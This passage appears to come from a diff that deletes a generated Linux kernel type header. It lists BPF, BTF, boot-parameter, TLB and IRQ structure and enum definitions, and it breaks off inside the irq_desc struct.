BPF_MAP_TYPE_QUEUE = 22, - BPF_MAP_TYPE_STACK = 23, - BPF_MAP_TYPE_SK_STORAGE = 24, - BPF_MAP_TYPE_DEVMAP_HASH = 25, - BPF_MAP_TYPE_STRUCT_OPS = 26, - BPF_MAP_TYPE_RINGBUF = 27, - BPF_MAP_TYPE_INODE_STORAGE = 28, - BPF_MAP_TYPE_TASK_STORAGE = 29, - BPF_MAP_TYPE_BLOOM_FILTER = 30, - BPF_MAP_TYPE_USER_RINGBUF = 31, - BPF_MAP_TYPE_CGRP_STORAGE = 32, -}; - -struct bpf_map_ops; - -struct btf_record; - -struct btf; - -struct btf_field_offs; - -struct bpf_map { - const struct bpf_map_ops *ops; - struct bpf_map *inner_map_meta; - void *security; - enum bpf_map_type map_type; - u32 key_size; - u32 value_size; - u32 max_entries; - u64 map_extra; - u32 map_flags; - u32 id; - struct btf_record *record; - int numa_node; - u32 btf_key_type_id; - u32 btf_value_type_id; - u32 btf_vmlinux_value_type_id; - struct btf *btf; - struct obj_cgroup *objcg; - char name[16]; - struct btf_field_offs *field_offs; - long: 64; - atomic64_t refcnt; - atomic64_t usercnt; - struct work_struct work; - struct mutex freeze_mutex; - atomic64_t writecnt; - struct { - spinlock_t lock; - enum bpf_prog_type type; - bool jited; - bool xdp_has_frags; - } owner; - bool bypass_spec_v1; - bool frozen; -}; - -struct bpf_map_dev_ops; - -struct bpf_offloaded_map { - struct bpf_map map; - struct net_device *netdev; - const struct bpf_map_dev_ops *dev_ops; - void *dev_priv; - struct list_head offloads; - long: 64; - long: 64; - long: 64; -}; - -struct sk_filter { - refcount_t refcnt; - struct callback_head rcu; - struct bpf_prog *prog; -}; - -struct sock_reuseport { - struct callback_head rcu; - u16 max_socks; - u16 num_socks; - u16 num_closed_socks; - u16 incoming_cpu; - unsigned int synq_overflow_ts; - unsigned int reuseport_id; - unsigned int bind_inany: 1; - unsigned int has_conns: 1; - struct bpf_prog *prog; - struct sock *socks[0]; -}; - -struct inet_ehash_bucket { - struct hlist_nulls_head chain; -}; - -struct inet_bind_hashbucket { - spinlock_t lock; - struct hlist_head chain; -}; - -struct inet_listen_hashbucket { - spinlock_t lock; - struct hlist_nulls_head nulls_head; -}; - -struct bpf_cgroup_storage_key { - __u64 cgroup_inode_id; - __u32 attach_type; -}; - -enum bpf_cgroup_iter_order { - BPF_CGROUP_ITER_ORDER_UNSPEC = 0, - BPF_CGROUP_ITER_SELF_ONLY = 1, - BPF_CGROUP_ITER_DESCENDANTS_PRE = 2, - BPF_CGROUP_ITER_DESCENDANTS_POST = 3, - BPF_CGROUP_ITER_ANCESTORS_UP = 4, -}; - -union bpf_attr { - struct { - __u32 map_type; - __u32 key_size; - __u32 value_size; - __u32 max_entries; - __u32 map_flags; - __u32 inner_map_fd; - __u32 numa_node; - char map_name[16]; - __u32 map_ifindex; - __u32 btf_fd; - __u32 btf_key_type_id; - __u32 btf_value_type_id; - __u32 btf_vmlinux_value_type_id; - __u64 map_extra; - }; - struct { - __u32 map_fd; - __u64 key; - union { - __u64 value; - __u64 next_key; - }; - __u64 flags; - }; - struct { - __u64 in_batch; - __u64 out_batch; - __u64 keys; - __u64 values; - __u32 count; - __u32 map_fd; - __u64 elem_flags; - __u64 flags; - } batch; - struct { - __u32 prog_type; - __u32 insn_cnt; - __u64 insns; - __u64 license; - __u32 log_level; - __u32 log_size; - __u64 log_buf; - __u32 kern_version; - __u32 prog_flags; - char prog_name[16]; - __u32 prog_ifindex; - __u32 expected_attach_type; - __u32 prog_btf_fd; - __u32 func_info_rec_size; - __u64 func_info; - __u32 func_info_cnt; - __u32 line_info_rec_size; - __u64 line_info; - __u32 line_info_cnt; - __u32 attach_btf_id; - union { - __u32 attach_prog_fd; - __u32 attach_btf_obj_fd; - }; - __u32 core_relo_cnt; - __u64 fd_array; - __u64 core_relos; - __u32 core_relo_rec_size; - }; - struct { - __u64 pathname; - __u32 bpf_fd; - __u32 file_flags; - }; - struct { - __u32 target_fd; - __u32 attach_bpf_fd; - __u32 attach_type; - __u32 attach_flags; - __u32 replace_bpf_fd; - }; - struct { - __u32 prog_fd; - __u32 retval; - __u32 data_size_in; - __u32 data_size_out; - __u64 data_in; - __u64 data_out; - __u32 repeat; - __u32 duration; - __u32 ctx_size_in; - __u32 ctx_size_out; - __u64 ctx_in; - __u64 ctx_out; - __u32 flags; - __u32 cpu; - __u32 batch_size; - } test; - struct { - union { - __u32 start_id; - __u32 prog_id; - __u32 map_id; - __u32 btf_id; - __u32 link_id; - }; - __u32 next_id; - __u32 open_flags; - }; - struct { - __u32 bpf_fd; - __u32 info_len; - __u64 info; - } info; - struct { - __u32 target_fd; - __u32 attach_type; - __u32 query_flags; - __u32 attach_flags; - __u64 prog_ids; - __u32 prog_cnt; - __u64 prog_attach_flags; - } query; - struct { - __u64 name; - __u32 prog_fd; - } raw_tracepoint; - struct { - __u64 btf; - __u64 btf_log_buf; - __u32 btf_size; - __u32 btf_log_size; - __u32 btf_log_level; - }; - struct { - __u32 pid; - __u32 fd; - __u32 flags; - __u32 buf_len; - __u64 buf; - __u32 prog_id; - __u32 fd_type; - __u64 probe_offset; - __u64 probe_addr; - } task_fd_query; - struct { - __u32 prog_fd; - union { - __u32 target_fd; - __u32 target_ifindex; - }; - __u32 attach_type; - __u32 flags; - union { - __u32 target_btf_id; - struct { - __u64 iter_info; - __u32 iter_info_len; - }; - struct { - __u64 bpf_cookie; - } perf_event; - struct { - __u32 flags; - __u32 cnt; - __u64 syms; - __u64 addrs; - __u64 cookies; - } kprobe_multi; - struct { - __u32 target_btf_id; - __u64 cookie; - } tracing; - }; - } link_create; - struct { - __u32 link_fd; - __u32 new_prog_fd; - __u32 flags; - __u32 old_prog_fd; - } link_update; - struct { - __u32 link_fd; - } link_detach; - struct { - __u32 type; - } enable_stats; - struct { - __u32 link_fd; - __u32 flags; - } iter_create; - struct { - __u32 prog_fd; - __u32 map_fd; - __u32 flags; - } prog_bind_map; -}; - -struct bpf_func_info { - __u32 insn_off; - __u32 type_id; -}; - -struct bpf_line_info { - __u32 insn_off; - __u32 file_name_off; - __u32 line_off; - __u32 line_col; -}; - -struct btf_type { - __u32 name_off; - __u32 info; - union { - __u32 size; - __u32 type; - }; -}; - -enum btf_field_type { - BPF_SPIN_LOCK = 1, - BPF_TIMER = 2, - BPF_KPTR_UNREF = 4, - BPF_KPTR_REF = 8, - BPF_KPTR = 12, - BPF_LIST_HEAD = 16, - BPF_LIST_NODE = 32, -}; - -typedef void (*btf_dtor_kfunc_t)(void *); - -struct btf_field_kptr { - struct btf *btf; - struct module *module; - btf_dtor_kfunc_t dtor; - u32 btf_id; -}; - -struct btf_field_list_head { - struct btf *btf; - u32 value_btf_id; - u32 node_offset; - struct btf_record *value_rec; -}; - -struct btf_field { - u32 offset; - enum btf_field_type type; - union { - struct btf_field_kptr kptr; - struct btf_field_list_head list_head; - }; -}; - -struct btf_record { - u32 cnt; - u32 field_mask; - int spin_lock_off; - int timer_off; - struct btf_field fields[0]; -}; - -struct btf_field_offs { - u32 cnt; - u32 field_off[10]; - u8 field_sz[10]; -}; - -typedef u64 (*bpf_callback_t)(u64, u64, u64, u64, u64); - -struct bpf_iter_aux_info; - -typedef int (*bpf_iter_init_seq_priv_t)(void *, struct bpf_iter_aux_info *); - -enum bpf_iter_task_type { - BPF_TASK_ITER_ALL = 0, - BPF_TASK_ITER_TID = 1, - BPF_TASK_ITER_TGID = 2, -}; - -struct bpf_iter_aux_info { - struct bpf_map *map; - struct { - struct cgroup *start; - enum bpf_cgroup_iter_order order; - } cgroup; - struct { - enum bpf_iter_task_type type; - u32 pid; - } task; -}; - -typedef void (*bpf_iter_fini_seq_priv_t)(void *); - -struct bpf_iter_seq_info { - const struct seq_operations *seq_ops; - bpf_iter_init_seq_priv_t init_seq_private; - bpf_iter_fini_seq_priv_t fini_seq_private; - u32 seq_priv_size; -}; - -struct bpf_local_storage_map; - -struct bpf_verifier_env; - -struct bpf_func_state; - -struct bpf_map_ops { - int (*map_alloc_check)(union bpf_attr *); - struct bpf_map * (*map_alloc)(union bpf_attr *); - void (*map_release)(struct bpf_map *, struct file *); - void (*map_free)(struct bpf_map *); - int (*map_get_next_key)(struct bpf_map *, void *, void *); - void (*map_release_uref)(struct bpf_map *); - void * (*map_lookup_elem_sys_only)(struct bpf_map *, void *); - int (*map_lookup_batch)(struct bpf_map *, const union bpf_attr *, union bpf_attr *); - int (*map_lookup_and_delete_elem)(struct bpf_map *, void *, void *, u64); - int (*map_lookup_and_delete_batch)(struct bpf_map *, const union bpf_attr *, union bpf_attr *); - int (*map_update_batch)(struct bpf_map *, struct file *, const union bpf_attr *, union bpf_attr *); - int (*map_delete_batch)(struct bpf_map *, const union bpf_attr *, union bpf_attr *); - void * (*map_lookup_elem)(struct bpf_map *, void *); - int (*map_update_elem)(struct bpf_map *, void *, void *, u64); - int (*map_delete_elem)(struct bpf_map *, void *); - int (*map_push_elem)(struct bpf_map *, void *, u64); - int (*map_pop_elem)(struct bpf_map *, void *); - int (*map_peek_elem)(struct bpf_map *, void *); - void * (*map_lookup_percpu_elem)(struct bpf_map *, void *, u32); - void * (*map_fd_get_ptr)(struct bpf_map *, struct file *, int); - void (*map_fd_put_ptr)(void *); - int (*map_gen_lookup)(struct bpf_map *, struct bpf_insn *); - u32 (*map_fd_sys_lookup_elem)(void *); - void (*map_seq_show_elem)(struct bpf_map *, void *, struct seq_file *); - int (*map_check_btf)(const struct bpf_map *, const struct btf *, const struct btf_type *, const struct btf_type *); - int (*map_poke_track)(struct bpf_map *, struct bpf_prog_aux *); - void (*map_poke_untrack)(struct bpf_map *, struct bpf_prog_aux *); - void (*map_poke_run)(struct bpf_map *, u32, struct bpf_prog *, struct bpf_prog *); - int (*map_direct_value_addr)(const struct bpf_map *, u64 *, u32); - int (*map_direct_value_meta)(const struct bpf_map *, u64, u32 *); - int (*map_mmap)(struct bpf_map *, struct vm_area_struct *); - __poll_t (*map_poll)(struct bpf_map *, struct file *, struct poll_table_struct *); - int (*map_local_storage_charge)(struct bpf_local_storage_map *, void *, u32); - void (*map_local_storage_uncharge)(struct bpf_local_storage_map *, void *, u32); - struct bpf_local_storage ** (*map_owner_storage_ptr)(void *); - int (*map_redirect)(struct bpf_map *, u64, u64); - bool (*map_meta_equal)(const struct bpf_map *, const struct bpf_map *); - int (*map_set_for_each_callback_args)(struct bpf_verifier_env *, struct bpf_func_state *, struct bpf_func_state *); - int (*map_for_each_callback)(struct bpf_map *, bpf_callback_t, void *, u64); - int *map_btf_id; - const struct bpf_iter_seq_info *iter_seq_info; -}; - -struct btf_header { - __u16 magic; - __u8 version; - __u8 flags; - __u32 hdr_len; - __u32 type_off; - __u32 type_len; - __u32 str_off; - __u32 str_len; -}; - -struct btf_kfunc_set_tab; - -struct btf_id_dtor_kfunc_tab; - -struct btf_struct_metas; - -struct btf { - void *data; - struct btf_type **types; - u32 *resolved_ids; - u32 *resolved_sizes; - const char *strings; - void *nohdr_data; - struct btf_header hdr; - u32 nr_types; - u32 types_size; - u32 data_size; - refcount_t refcnt; - u32 id; - struct callback_head rcu; - struct btf_kfunc_set_tab *kfunc_set_tab; - struct btf_id_dtor_kfunc_tab *dtor_kfunc_tab; - struct btf_struct_metas *struct_meta_tab; - struct btf *base_btf; - u32 start_id; - u32 start_str_off; - char name[56]; - bool kernel_btf; -}; - -struct bpf_ksym { - long unsigned int start; - long unsigned int end; - char name[512]; - struct list_head lnode; - struct latch_tree_node tnode; - bool prog; -}; - -struct bpf_ctx_arg_aux; - -struct bpf_trampoline; - -struct bpf_jit_poke_descriptor; - -struct bpf_kfunc_desc_tab; - -struct bpf_kfunc_btf_tab; - -struct bpf_prog_ops; - -struct btf_mod_pair; - -struct bpf_prog_offload; - -struct bpf_func_info_aux; - -struct bpf_prog_aux { - atomic64_t refcnt; - u32 used_map_cnt; - u32 used_btf_cnt; - u32 max_ctx_offset; - u32 max_pkt_offset; - u32 max_tp_access; - u32 stack_depth; - u32 id; - u32 func_cnt; - u32 func_idx; - u32 attach_btf_id; - u32 ctx_arg_info_size; - u32 max_rdonly_access; - u32 max_rdwr_access; - struct btf *attach_btf; - const struct bpf_ctx_arg_aux *ctx_arg_info; - struct mutex dst_mutex; - struct bpf_prog *dst_prog; - struct bpf_trampoline *dst_trampoline; - enum bpf_prog_type saved_dst_prog_type; - enum bpf_attach_type saved_dst_attach_type; - bool verifier_zext; - bool offload_requested; - bool attach_btf_trace; - bool func_proto_unreliable; - bool sleepable; - bool tail_call_reachable; - bool xdp_has_frags; - const struct btf_type *attach_func_proto; - const char *attach_func_name; - struct bpf_prog **func; - void *jit_data; - struct bpf_jit_poke_descriptor *poke_tab; - struct bpf_kfunc_desc_tab *kfunc_tab; - struct bpf_kfunc_btf_tab *kfunc_btf_tab; - u32 size_poke_tab; - struct bpf_ksym ksym; - const struct bpf_prog_ops *ops; - struct bpf_map **used_maps; - struct mutex used_maps_mutex; - struct btf_mod_pair *used_btfs; - struct bpf_prog *prog; - struct user_struct *user; - u64 load_time; - u32 verified_insns; - int cgroup_atype; - struct bpf_map *cgroup_storage[2]; - char name[16]; - void *security; - struct bpf_prog_offload *offload; - struct btf *btf; - struct bpf_func_info *func_info; - struct bpf_func_info_aux *func_info_aux; - struct bpf_line_info *linfo; - void **jited_linfo; - u32 func_info_cnt; - u32 nr_linfo; - u32 linfo_idx; - u32 num_exentries; - struct exception_table_entry *extable; - union { - struct work_struct work; - struct callback_head rcu; - }; -}; - -struct bpf_map_dev_ops { - int (*map_get_next_key)(struct bpf_offloaded_map *, void *, void *); - int (*map_lookup_elem)(struct bpf_offloaded_map *, void *, void *); - int (*map_update_elem)(struct bpf_offloaded_map *, void *, void *, u64); - int (*map_delete_elem)(struct bpf_offloaded_map *, void *); -}; - -enum bpf_reg_type { - NOT_INIT = 0, - SCALAR_VALUE = 1, - PTR_TO_CTX = 2, - CONST_PTR_TO_MAP = 3, - PTR_TO_MAP_VALUE = 4, - PTR_TO_MAP_KEY = 5, - PTR_TO_STACK = 6, - PTR_TO_PACKET_META = 7, - PTR_TO_PACKET = 8, - PTR_TO_PACKET_END = 9, - PTR_TO_FLOW_KEYS = 10, - PTR_TO_SOCKET = 11, - PTR_TO_SOCK_COMMON = 12, - PTR_TO_TCP_SOCK = 13, - PTR_TO_TP_BUFFER = 14, - PTR_TO_XDP_SOCK = 15, - PTR_TO_BTF_ID = 16, - PTR_TO_MEM = 17, - PTR_TO_BUF = 18, - PTR_TO_FUNC = 19, - CONST_PTR_TO_DYNPTR = 20, - __BPF_REG_TYPE_MAX = 21, - PTR_TO_MAP_VALUE_OR_NULL = 260, - PTR_TO_SOCKET_OR_NULL = 267, - PTR_TO_SOCK_COMMON_OR_NULL = 268, - PTR_TO_TCP_SOCK_OR_NULL = 269, - PTR_TO_BTF_ID_OR_NULL = 272, - __BPF_REG_TYPE_LIMIT = 4194303, -}; - -struct bpf_prog_ops { - int (*test_run)(struct bpf_prog *, const union bpf_attr *, union bpf_attr *); -}; - -struct bpf_prog_offload { - struct bpf_prog *prog; - struct net_device *netdev; - struct bpf_offload_dev *offdev; - void *dev_priv; - struct list_head offloads; - bool dev_state; - bool opt_failed; - void *jited_image; - u32 jited_len; -}; - -enum bpf_cgroup_storage_type { - BPF_CGROUP_STORAGE_SHARED = 0, - BPF_CGROUP_STORAGE_PERCPU = 1, - __BPF_CGROUP_STORAGE_MAX = 2, -}; - -struct btf_func_model { - u8 ret_size; - u8 nr_args; - u8 arg_size[12]; - u8 arg_flags[12]; -}; - -struct bpf_tramp_image { - void *image; - struct bpf_ksym ksym; - struct percpu_ref pcref; - void *ip_after_call; - void *ip_epilogue; - union { - struct callback_head rcu; - struct work_struct work; - }; -}; - -struct bpf_trampoline { - struct hlist_node hlist; - struct ftrace_ops *fops; - struct mutex mutex; - refcount_t refcnt; - u32 flags; - u64 key; - struct { - struct btf_func_model model; - void *addr; - bool ftrace_managed; - } func; - struct bpf_prog *extension_prog; - struct hlist_head progs_hlist[3]; - int progs_cnt[3]; - struct bpf_tramp_image *cur_image; - u64 selector; - struct module *mod; -}; - -struct bpf_func_info_aux { - u16 linkage; - bool unreliable; -}; - -struct bpf_jit_poke_descriptor { - void *tailcall_target; - void *tailcall_bypass; - void *bypass_addr; - void *aux; - union { - struct { - struct bpf_map *map; - u32 key; - } tail_call; - }; - bool tailcall_target_stable; - u8 adj_off; - u16 reason; - u32 insn_idx; -}; - -struct bpf_ctx_arg_aux { - u32 offset; - enum bpf_reg_type reg_type; - u32 btf_id; -}; - -struct btf_mod_pair { - struct btf *btf; - struct module *module; -}; - -struct bpf_prog_stats { - u64_stats_t cnt; - u64_stats_t nsecs; - u64_stats_t misses; - struct u64_stats_sync syncp; - long: 64; -}; - -struct sock_fprog_kern { - u16 len; - struct sock_filter *filter; -}; - -struct bpf_storage_buffer; - -struct bpf_cgroup_storage_map; - -struct bpf_cgroup_storage { - union { - struct bpf_storage_buffer *buf; - void *percpu_buf; - }; - struct bpf_cgroup_storage_map *map; - struct bpf_cgroup_storage_key key; - struct list_head list_map; - struct list_head list_cg; - struct rb_node node; - struct callback_head rcu; -}; - -struct bpf_storage_buffer { - struct callback_head rcu; - char data[0]; -}; - -struct ack_sample { - u32 pkts_acked; - s32 rtt_us; - u32 in_flight; -}; - -struct rate_sample { - u64 prior_mstamp; - u32 prior_delivered; - u32 prior_delivered_ce; - s32 delivered; - s32 delivered_ce; - long int interval_us; - u32 snd_interval_us; - u32 rcv_interval_us; - long int rtt_us; - int losses; - u32 acked_sacked; - u32 prior_in_flight; - u32 last_end_seq; - bool is_app_limited; - bool is_retrans; - bool is_ack_delayed; -}; - -struct atomic_notifier_head { - spinlock_t lock; - struct notifier_block *head; -}; - -enum { - NAPI_STATE_SCHED = 0, - NAPI_STATE_MISSED = 1, - NAPI_STATE_DISABLE = 2, - NAPI_STATE_NPSVC = 3, - NAPI_STATE_LISTED = 4, - NAPI_STATE_NO_BUSY_POLL = 5, - NAPI_STATE_IN_BUSY_POLL = 6, - NAPI_STATE_PREFER_BUSY_POLL = 7, - NAPI_STATE_THREADED = 8, - NAPI_STATE_SCHED_THREADED = 9, -}; - -enum xps_map_type { - XPS_CPUS = 0, - XPS_RXQS = 1, - XPS_MAPS_MAX = 2, -}; - -enum bpf_xdp_mode { - XDP_MODE_SKB = 0, - XDP_MODE_DRV = 1, - XDP_MODE_HW = 2, - __MAX_XDP_MODE = 3, -}; - -enum { - NETIF_MSG_DRV_BIT = 0, - NETIF_MSG_PROBE_BIT = 1, - NETIF_MSG_LINK_BIT = 2, - NETIF_MSG_TIMER_BIT = 3, - NETIF_MSG_IFDOWN_BIT = 4, - NETIF_MSG_IFUP_BIT = 5, - NETIF_MSG_RX_ERR_BIT = 6, - NETIF_MSG_TX_ERR_BIT = 7, - NETIF_MSG_TX_QUEUED_BIT = 8, - NETIF_MSG_INTR_BIT = 9, - NETIF_MSG_TX_DONE_BIT = 10, - NETIF_MSG_RX_STATUS_BIT = 11, - NETIF_MSG_PKTDATA_BIT = 12, - NETIF_MSG_HW_BIT = 13, - NETIF_MSG_WOL_BIT = 14, - NETIF_MSG_CLASS_COUNT = 15, -}; - -struct screen_info { - __u8 orig_x; - __u8 orig_y; - __u16 ext_mem_k; - __u16 orig_video_page; - __u8 orig_video_mode; - __u8 orig_video_cols; - __u8 flags; - __u8 unused2; - __u16 orig_video_ega_bx; - __u16 unused3; - __u8 orig_video_lines; - __u8 orig_video_isVGA; - __u16 orig_video_points; - __u16 lfb_width; - __u16 lfb_height; - __u16 lfb_depth; - __u32 lfb_base; - __u32 lfb_size; - __u16 cl_magic; - __u16 cl_offset; - __u16 lfb_linelength; - __u8 red_size; - __u8 red_pos; - __u8 green_size; - __u8 green_pos; - __u8 blue_size; - __u8 blue_pos; - __u8 rsvd_size; - __u8 rsvd_pos; - __u16 vesapm_seg; - __u16 vesapm_off; - __u16 pages; - __u16 vesa_attributes; - __u32 capabilities; - __u32 ext_lfb_base; - __u8 _reserved[2]; -} __attribute__((packed)); - -struct apm_bios_info { - __u16 version; - __u16 cseg; - __u32 offset; - __u16 cseg_16; - __u16 dseg; - __u16 flags; - __u16 cseg_len; - __u16 cseg_16_len; - __u16 dseg_len; -}; - -struct edd_device_params { - __u16 length; - __u16 info_flags; - __u32 num_default_cylinders; - __u32 num_default_heads; - __u32 sectors_per_track; - __u64 number_of_sectors; - __u16 bytes_per_sector; - __u32 dpte_ptr; - __u16 key; - __u8 device_path_info_length; - __u8 reserved2; - __u16 reserved3; - __u8 host_bus_type[4]; - __u8 interface_type[8]; - union { - struct { - __u16 base_address; - __u16 reserved1; - __u32 reserved2; - } isa; - struct { - __u8 bus; - __u8 slot; - __u8 function; - __u8 channel; - __u32 reserved; - } pci; - struct { - __u64 reserved; - } ibnd; - struct { - __u64 reserved; - } xprs; - struct { - __u64 reserved; - } htpt; - struct { - __u64 reserved; - } unknown; - } interface_path; - union { - struct { - __u8 device; - __u8 reserved1; - __u16 reserved2; - __u32 reserved3; - __u64 reserved4; - } ata; - struct { - __u8 device; - __u8 lun; - __u8 reserved1; - __u8 reserved2; - __u32 reserved3; - __u64 reserved4; - } atapi; - struct { - __u16 id; - __u64 lun; - __u16 reserved1; - __u32 reserved2; - } __attribute__((packed)) scsi; - struct { - __u64 serial_number; - __u64 reserved; - } usb; - struct { - __u64 eui; - __u64 reserved; - } i1394; - struct { - __u64 wwid; - __u64 lun; - } fibre; - struct { - __u64 identity_tag; - __u64 reserved; - } i2o; - struct { - __u32 array_number; - __u32 reserved1; - __u64 reserved2; - } raid; - struct { - __u8 device; - __u8 reserved1; - __u16 reserved2; - __u32 reserved3; - __u64 reserved4; - } sata; - struct { - __u64 reserved1; - __u64 reserved2; - } unknown; - } device_path; - __u8 reserved4; - __u8 checksum; -} __attribute__((packed)); - -struct edd_info { - __u8 device; - __u8 version; - __u16 interface_support; - __u16 legacy_max_cylinder; - __u8 legacy_max_head; - __u8 legacy_sectors_per_track; - struct edd_device_params params; -}; - -struct ist_info { - __u32 signature; - __u32 command; - __u32 event; - __u32 perf_level; -}; - -struct edid_info { - unsigned char dummy[128]; -}; - -struct setup_header { - __u8 setup_sects; - __u16 root_flags; - __u32 syssize; - __u16 ram_size; - __u16 vid_mode; - __u16 root_dev; - __u16 boot_flag; - __u16 jump; - __u32 header; - __u16 version; - __u32 realmode_swtch; - __u16 start_sys_seg; - __u16 kernel_version; - __u8 type_of_loader; - __u8 loadflags; - __u16 setup_move_size; - __u32 code32_start; - __u32 ramdisk_image; - __u32 ramdisk_size; - __u32 bootsect_kludge; - __u16 heap_end_ptr; - __u8 ext_loader_ver; - __u8 ext_loader_type; - __u32 cmd_line_ptr; - __u32 initrd_addr_max; - __u32 kernel_alignment; - __u8 relocatable_kernel; - __u8 min_alignment; - __u16 xloadflags; - __u32 cmdline_size; - __u32 hardware_subarch; - __u64 hardware_subarch_data; - __u32 payload_offset; - __u32 payload_length; - __u64 setup_data; - __u64 pref_address; - __u32 init_size; - __u32 handover_offset; - __u32 kernel_info_offset; -} __attribute__((packed)); - -struct sys_desc_table { - __u16 length; - __u8 table[14]; -}; - -struct olpc_ofw_header { - __u32 ofw_magic; - __u32 ofw_version; - __u32 cif_handler; - __u32 irq_desc_table; -}; - -struct efi_info { - __u32 efi_loader_signature; - __u32 efi_systab; - __u32 efi_memdesc_size; - __u32 efi_memdesc_version; - __u32 efi_memmap; - __u32 efi_memmap_size; - __u32 efi_systab_hi; - __u32 efi_memmap_hi; -}; - -struct boot_e820_entry { - __u64 addr; - __u64 size; - __u32 type; -} __attribute__((packed)); - -struct boot_params { - struct screen_info screen_info; - struct apm_bios_info apm_bios_info; - __u8 _pad2[4]; - __u64 tboot_addr; - struct ist_info ist_info; - __u64 acpi_rsdp_addr; - __u8 _pad3[8]; - __u8 hd0_info[16]; - __u8 hd1_info[16]; - struct sys_desc_table sys_desc_table; - struct olpc_ofw_header olpc_ofw_header; - __u32 ext_ramdisk_image; - __u32 ext_ramdisk_size; - __u32 ext_cmd_line_ptr; - __u8 _pad4[112]; - __u32 cc_blob_address; - struct edid_info edid_info; - struct efi_info efi_info; - __u32 alt_mem_k; - __u32 scratch; - __u8 e820_entries; - __u8 eddbuf_entries; - __u8 edd_mbr_sig_buf_entries; - __u8 kbd_status; - __u8 secure_boot; - __u8 _pad5[2]; - __u8 sentinel; - __u8 _pad6[1]; - struct setup_header hdr; - __u8 _pad7[36]; - __u32 edd_mbr_sig_buffer[16]; - struct boot_e820_entry e820_table[128]; - __u8 _pad8[48]; - struct edd_info eddbuf[6]; - __u8 _pad9[276]; -} __attribute__((packed)); - -enum x86_hardware_subarch { - X86_SUBARCH_PC = 0, - X86_SUBARCH_LGUEST = 1, - X86_SUBARCH_XEN = 2, - X86_SUBARCH_INTEL_MID = 3, - X86_SUBARCH_CE4100 = 4, - X86_NR_SUBARCHS = 5, -}; - -struct idt_bits { - u16 ist: 3; - u16 zero: 5; - u16 type: 5; - u16 dpl: 2; - u16 p: 1; -}; - -struct gate_struct { - u16 offset_low; - u16 segment; - struct idt_bits bits; - u16 offset_middle; - u32 offset_high; - u32 reserved; -}; - -typedef struct gate_struct gate_desc; - -struct desc_ptr { - short unsigned int size; - long unsigned int address; -} __attribute__((packed)); - -enum fixed_addresses { - VSYSCALL_PAGE = 511, - FIX_DBGP_BASE = 512, - FIX_EARLYCON_MEM_BASE = 513, - FIX_APIC_BASE = 514, - FIX_IO_APIC_BASE_0 = 515, - FIX_IO_APIC_BASE_END = 642, - __end_of_permanent_fixed_addresses = 643, - FIX_BTMAP_END = 1024, - FIX_BTMAP_BEGIN = 1535, - __end_of_fixed_addresses = 1536, -}; - -struct tlb_context { - u64 ctx_id; - u64 tlb_gen; -}; - -struct tlb_state { - struct mm_struct *loaded_mm; - union { - struct mm_struct *last_user_mm; - long unsigned int last_user_mm_spec; - }; - u16 loaded_mm_asid; - u16 next_asid; - bool invalidate_other; - short unsigned int user_pcid_flush_mask; - long unsigned int cr4; - struct tlb_context ctxs[6]; -}; - -struct boot_params_to_save { - unsigned int start; - unsigned int len; -}; - -struct gen_pool; - -typedef long unsigned int (*genpool_algo_t)(long unsigned int *, long unsigned int, long unsigned int, unsigned int, void *, struct gen_pool *, long unsigned int); - -struct gen_pool { - spinlock_t lock; - struct list_head chunks; - int min_alloc_order; - genpool_algo_t algo; - void *data; - const char *name; -}; - -struct mce { - __u64 status; - __u64 misc; - __u64 addr; - __u64 mcgstatus; - __u64 ip; - __u64 tsc; - __u64 time; - __u8 cpuvendor; - __u8 inject_flags; - __u8 severity; - __u8 pad; - __u32 cpuid; - __u8 cs; - __u8 bank; - __u8 cpu; - __u8 finished; - __u32 extcpu; - __u32 socketid; - __u32 apicid; - __u64 mcgcap; - __u64 synd; - __u64 ipid; - __u64 ppin; - __u32 microcode; - __u64 kflags; -}; - -struct mce_evt_llist { - struct llist_node llnode; - struct mce mce; -}; - -struct obs_kernel_param { - const char *str; - int (*setup_func)(char *); - int early; -}; - -enum irqreturn { - IRQ_NONE = 0, - IRQ_HANDLED = 1, - IRQ_WAKE_THREAD = 2, -}; - -typedef enum irqreturn irqreturn_t; - -struct io_bitmap { - u64 sequence; - refcount_t refcnt; - unsigned int max; - long unsigned int bitmap[1024]; -}; - -typedef void (*smp_call_func_t)(void *); - -enum apic_delivery_modes { - APIC_DELIVERY_MODE_FIXED = 0, - APIC_DELIVERY_MODE_LOWESTPRIO = 1, - APIC_DELIVERY_MODE_SMI = 2, - APIC_DELIVERY_MODE_NMI = 4, - APIC_DELIVERY_MODE_INIT = 5, - APIC_DELIVERY_MODE_EXTINT = 7, -}; - -typedef irqreturn_t (*irq_handler_t)(int, void *); - -struct irqaction { - irq_handler_t handler; - void *dev_id; - void *percpu_dev_id; - struct irqaction *next; - irq_handler_t thread_fn; - struct task_struct *thread; - struct irqaction *secondary; - unsigned int irq; - unsigned int flags; - long unsigned int thread_flags; - long unsigned int thread_mask; - const char *name; - struct proc_dir_entry *dir; - long: 64; - long: 64; - long: 64; - long: 64; -}; - -struct irq_affinity_notify { - unsigned int irq; - struct kref kref; - struct work_struct work; - void (*notify)(struct irq_affinity_notify *, const cpumask_t *); - void (*release)(struct kref *); -}; - -enum irqchip_irq_state { - IRQCHIP_STATE_PENDING = 0, - IRQCHIP_STATE_ACTIVE = 1, - IRQCHIP_STATE_MASKED = 2, - IRQCHIP_STATE_LINE_LEVEL = 3, -}; - -struct irq_desc; - -typedef void (*irq_flow_handler_t)(struct irq_desc *); - -struct msi_desc; - -struct irq_common_data { - unsigned int state_use_accessors; - unsigned int node; - void *handler_data; - struct msi_desc *msi_desc; - cpumask_var_t affinity; - cpumask_var_t effective_affinity; -}; - -struct irq_chip; - -struct irq_data { - u32 mask; - unsigned int irq; - long unsigned int hwirq; - struct irq_common_data *common; - struct irq_chip *chip; - struct irq_domain *domain; - struct irq_data *parent_data; - void *chip_data; -}; - -struct irq_desc { - struct irq_common_data irq_common_data; - struct irq_data irq_data; - unsigned int *kstat_irqs; - irq_flow_handler_t handle_irq; - struct irqaction *action; - unsigned int status_use_accessors; - unsigned int core_internal_state__do_not_mess_with_it; - unsigned int depth; - unsigned int wake_depth; - unsigned int tot_count; - unsigned int irq_count; - long unsigned int last_unhandled; - unsigned int irqs_unhandled; - atomic_t threads_handled; - int threads_handled_last; - raw_spinlock_t lock; - struct cpumask *percpu_enabled; - const struct cpumask *percpu_affinity; - const struct cpumask *affinity_hint; - struct irq_affinity_notify *affinity_notify; - cpumask_var_t pending_mask; - long unsigned int threads_oneshot; - atomic_t threads_active; - wait_queue_head_t wait_for_threads; - unsigned int nr_actions; - unsigned int no_suspend_depth; - unsigned int cond_suspend_depth; - unsigned int 